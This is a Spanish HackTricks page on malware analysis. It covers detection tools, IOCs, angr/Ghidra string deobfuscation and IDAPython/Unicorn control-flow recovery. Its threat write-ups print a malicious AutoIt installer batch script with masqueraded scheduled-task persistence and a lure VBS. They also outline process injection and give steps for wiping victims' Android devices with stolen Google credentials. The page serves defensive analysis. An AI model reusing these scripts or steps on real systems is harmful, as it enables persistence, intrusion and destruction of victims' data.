Análisis de Malware
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Hojas de referencia de Forense
https://www.jaiminton.com/cheatsheet/DFIR/#
Servicios en línea
Herramientas antivirus y de detección sin conexión
Yara
Instalación
sudo apt-get install -y yara
Preparar reglas
Usa este script para descargar y fusionar todas las reglas yara malware desde github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea el directorio rules y ejecútalo. Esto creará un archivo llamado malware_rules.yar que contiene todas las reglas yara para malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Escaneo
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Comprobar malware y crear reglas
Puedes usar la herramienta YaraGen para generar yara rules a partir de un binario. Consulta estos tutoriales: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Instalación
sudo apt-get install -y clamav
Escaneo
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa detecta potencialmente maliciosas capabilities en ejecutables: PE, ELF, .NET. So it will find things such as Att&ck tactics, or suspicious capabilities such as:
- check for OutputDebugString error
- run as a service
- create process
Consíguelo en el Github repo.
IOCs
IOC means Indicator Of Compromise. Un IOC es un conjunto de condiciones que identifican algún software potencialmente no deseado o confirmado malware. Blue Teams usan este tipo de definición para buscar este tipo de archivos maliciosos en sus sistemas y redes.
Compartir estas definiciones es muy útil: cuando se identifica malware en un equipo y se crea un IOC para ese malware, otras Blue Teams pueden usarlo para identificar el malware más rápido.
Una herramienta para crear o modificar IOCs es IOC Editor.
Puedes usar herramientas como Redline para buscar IOCs definidos en un dispositivo.
Loki
Loki es un escáner para Simple Indicators of Compromise.
La detección se basa en cuatro métodos de detección:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) es un escáner de malware para Linux lanzado bajo la licencia GNU GPLv2, diseñado para las amenazas que se enfrentan en entornos de hosting compartido. Utiliza datos de amenazas provenientes de sistemas de detección de intrusiones en el perímetro de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para su detección. Además, los datos de amenazas también se obtienen de envíos de usuarios mediante la función LMD checkout y de recursos de la comunidad de malware.
rkhunter
Herramientas como rkhunter se pueden usar para comprobar el sistema de archivos en busca de posibles rootkits y malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS es una herramienta que intenta encontrar obfuscated strings dentro de ejecutables empleando diferentes técnicas.
PEpper
PEpper revisa algunas cosas básicas dentro del ejecutable (binary data, entropy, URLs and IPs, some yara rules).
PEstudio
PEstudio es una herramienta que permite obtener información de ejecutables de Windows como imports, exports, headers, pero también comprobará virus total y encontrará posibles Att&ck techniques.
Detect It Easy(DiE)
DiE es una herramienta para detectar si un archivo está encrypted y también encontrar packers.
NeoPI
NeoPI is un script Python que usa una variedad de métodos estadísticos para detectar contenido obfuscated y encrypted dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la detection of hidden web shell code.
php-malware-finder
PHP-malware-finder hace todo lo posible para detectar obfuscated/dodgy code así como archivos que usan funciones PHP frecuentemente usadas en malwares/webshells.
Apple Binary Signatures
Al revisar alguna malware sample siempre deberías check the signature del binary ya que el developer que lo firmó puede estar ya related con malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Técnicas de detección
File Stacking
Si sabes que una carpeta que contiene los files de un web server fue actualizada por última vez en alguna fecha. Comprueba la fecha en que todos los files en el web server fueron creados y modificados y si alguna fecha es sospechosa, revisa ese file.
Baselines
Si los files de una carpeta no deberían haber sido modificados, puedes calcular el hash de los files originales de la carpeta y compararlos con los actuales. Cualquier cosa modificada será sospechosa.
Statistical Analysis
Cuando la información se guarda en logs puedes comprobar estadísticas como cuántas veces fue accedido cada file del web server, ya que un web shell podría ser uno de los más accedidos.
Telemetría nativa in-app en Android (sin root)
En Android, puedes instrumentar código nativo dentro del proceso de la app objetivo precargando una pequeña logger library antes de que otras libs JNI se inicialicen. Esto ofrece visibilidad temprana del comportamiento nativo sin hooks a nivel del sistema ni root. Un enfoque popular es SoTap: poner libsotap.so para el ABI correcto dentro del APK e inyectar una llamada System.loadLibrary(“sotap”) temprana (p.ej., static initializer o Application.onCreate), luego recoger logs desde rutas internas/externas o usar Logcat como fallback.
See the Android native reversing page for setup details and log paths:
Android/JNI Desofuscación de strings nativos con angr + Ghidra
Algunos malware en Android y apps protegidas por RASP ocultan nombres de métodos JNI y firmas decodificándolos en tiempo de ejecución antes de llamar a RegisterNatives. Cuando la instrumentación con Frida/ptrace es terminada por anti-debug, aún puedes recuperar el texto plano offline ejecutando el decoder dentro del binario con angr y luego inyectando los resultados en Ghidra como comentarios.
Idea clave: trata el decoder dentro del .so como una función callable, ejecútalo sobre los blobs de bytes ofuscados en .rodata y concretiza los bytes de salida hasta el primer \x00 (C-string terminator). Mantén angr y Ghidra usando la misma image base para evitar desajustes de direcciones.
Resumen del flujo de trabajo
- Triage en Ghidra: identifica el decoder y su calling convention/argumentos en JNI_OnLoad y la configuración de RegisterNatives.
- Ejecuta angr (CPython3) para ejecutar el decoder para cada string objetivo y volcar los resultados.
- Anota en Ghidra: auto-comenta los strings decodificados en cada sitio de llamada para una rápida reconstrucción de JNI.
Ghidra triage (JNI_OnLoad pattern)
- Aplica JNI datatypes a JNI_OnLoad para que Ghidra reconozca las estructuras JNINativeMethod.
- Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Busca llamadas a RegisterNatives. Si la librería construye el name/signature con una rutina local (p.ej., FUN_00100e10) que referencia una tabla estática de bytes (p.ej., DAT_00100bf4) y toma parámetros como (encoded_ptr, out_buf, length), ese es un objetivo ideal para ejecución offline.
angr setup (execute the decoder offline)
- Carga el .so con la misma base usada en Ghidra (ejemplo: 0x00100000) y desactiva el auto-loading de librerías externas para mantener el estado pequeño.
Configuración de angr y ejecución offline del decoder
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- A gran escala, construye un mapa estático de call sites a los argumentos del decoder (encoded_ptr, size). Los wrappers pueden ocultar argumentos, por lo que puedes crear este mapeo manualmente desde Ghidra xrefs si la recuperación de API es ruidosa.
<details>
<summary>Decodificar en lote múltiples call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Anotar call sites en Ghidra Opción A: Escritor de comentarios solo Jython (usa un JSON pre-computado)
- Dado que angr requiere CPython3, mantén separadas la deobfuscación y la anotación. Primero ejecuta el script de angr anterior para producir decoded_strings.json. Luego ejecuta este GhidraScript Jython para escribir PRE_COMMENTs en cada call site (e incluir el nombre de la función llamante para contexto):
Script Jython de Ghidra para anotar cadenas JNI decodificadas
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Opción B: Single CPython script via pyhidra/ghidra_bridge
- Alternativamente, usa pyhidra o ghidra_bridge para manejar la API de Ghidra desde el mismo proceso CPython que ejecuta angr. Esto permite llamar a decode_string() y establecer inmediatamente PRE_COMMENTs sin un archivo intermedio. La lógica refleja el script Jython: construir el mapa callsite→function vía ReferenceManager, decodificar con angr y poner los comentarios.
Why this works and when to use it
- La ejecución offline evita RASP/anti-debug: no ptrace, no Frida hooks requeridos para recuperar strings.
- Mantener Ghidra y angr con base_addr alineados (p. ej., 0x00100000) asegura que las direcciones de funciones/datos coincidan entre las herramientas.
- Receta repetible para decoders: trata la transformación como una función pura, asigna un output buffer en un estado nuevo, llámala con (encoded_ptr, out_ptr, len), luego concretiza vía state.solver.eval y parsea C-strings hasta \x00.
Notes and pitfalls
- Respecta el ABI/convención de llamadas objetivo. angr.factory.callable elige una según arch; si los argumentos parecen desplazados, especifica cc explícitamente.
- Si el decoder espera buffers de salida inicializados a cero, inicializa outbuf con ceros en el state antes de la llamada.
- Para .so Android position-independent, siempre suministra base_addr para que las direcciones en angr coincidan con las vistas en Ghidra.
- Usa currentProgram.getReferenceManager() para enumerar call-xrefs aunque la app envuelva el decoder tras thin stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Las familias de malware modernas abusan intensamente de la obfuscación del Control-Flow Graph (CFG): en lugar de un salto/llamada directa calculan el destino en tiempo de ejecución y ejecutan `jmp rax` o `call rax`. Un pequeño *dispatcher* (típicamente nueve instrucciones) establece el objetivo final dependiendo de las flags CPU `ZF`/`CF`, rompiendo por completo la recuperación estática del CFG.
The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extraer el dispatcher byte-code
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emularlo dos veces con Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Ejecute run(code,0,0) y run(code,1,1) para obtener los destinos de las ramas false y true.
4. Parchear de nuevo un direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Después de parchear, fuerza a IDA a reanalizar la función para que se restauren el CFG completo y la salida de Hex-Rays:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Etiquetar llamadas API indirectas
Una vez conocido el destino real de cada call rax, puedes indicarle a IDA cuál es para que los tipos de parámetros y los nombres de variables se recuperen automáticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Beneficios prácticos
- Restaura el CFG real → la descompilación pasa de 10 líneas a miles.
- Permite string-cross-reference & xrefs, facilitando la reconstrucción del comportamiento.
- Los scripts son reutilizables: colócalos en cualquier loader protegido por el mismo truco.
Loaders basados en AutoIt: descifrado .a3x, Task Scheduler masquerade and RAT injection
Este patrón de intrusión encadena un MSI firmado, AutoIt loaders compilados a .a3x y una tarea de Task Scheduler que se hace pasar por una aplicación benigna.
MSI → custom actions → AutoIt orchestrator
Árbol de procesos y comandos ejecutados por las custom actions del MSI:
- MsiExec.exe → cmd.exe para ejecutar install.bat
- WScript.exe para mostrar un diálogo de error señuelo
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (deja loader, establece persistence, se autolimpa):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (cebo para el usuario):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Artefactos clave y camuflaje:
- Coloca AutoIt3.exe y IoKlTr.au3 en C:\Users\Public\Music
- Copia schtasks.exe a hwpviewer.exe (se hace pasar por el viewer de Hangul Word Processor)
- Crea una tarea programada “IoKlTr” que se ejecuta cada 1 minuto
- LNK de inicio observado como Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Despliega módulos bajo %APPDATA%\Google\Browser\ en subcarpetas que contienen
adboadvy los inicia vía los helpers autoit.vbs/install.bat
Consejos de triaje forense:
- Enumeración de schtasks:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Buscar copias renombradas de schtasks.exe co-localizadas con el Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Rutas comunes:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlacionar creación de procesos: AutoIt3.exe spawning binarios legítimos de Windows (p. ej., cleanmgr.exe, hncfinder.exe)
AutoIt loaders and .a3x payload decryption → injection
- AutoIt modules are compiled with
#AutoIt3Wrapper_Outfile_type=a3xy desencriptan los embedded payloads antes de injecting into procesos benignos. - Familias observadas: QuasarRAT (injected into hncfinder.exe) y RftRAT/RFTServer (injected into cleanmgr.exe), así como módulos RemcosRAT (
Remcos\RunBinary.a3x). - Patrón de decryption: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flujo común de inyección (CreateRemoteThread-style):
- CreateProcess (suspendido) del host objetivo (p. ej., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory con módulo/shellcode descifrado
- CreateRemoteThread or QueueUserAPC para ejecutar el payload
Hunting ideas
- AutoIt3.exe con proceso padre MsiExec.exe o WScript.exe que lanza utilidades del sistema
- Archivos con extensiones
.a3xo AutoIt script runners en rutas públicas/escribibles por el usuario - Tareas programadas sospechosas que ejecutan AutoIt3.exe o binarios no firmados por Microsoft, con activadores a nivel de minutos
Abuso de secuestro de cuentas de Android Find My Device (Find Hub)
Durante la intrusión en Windows, los operadores usaron credenciales de Google robadas para borrar repetidamente los dispositivos Android de la víctima, suprimiendo las notificaciones mientras ampliaban el acceso mediante el messenger de escritorio donde la víctima tenía la sesión iniciada.
Pasos del operador (desde una sesión de navegador iniciada):
- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
- Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications
AdaptixC2: Extracción de configuración y TTPs
Ver la página dedicada:
Adaptixc2 Config Extraction And Ttps
Referencias
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

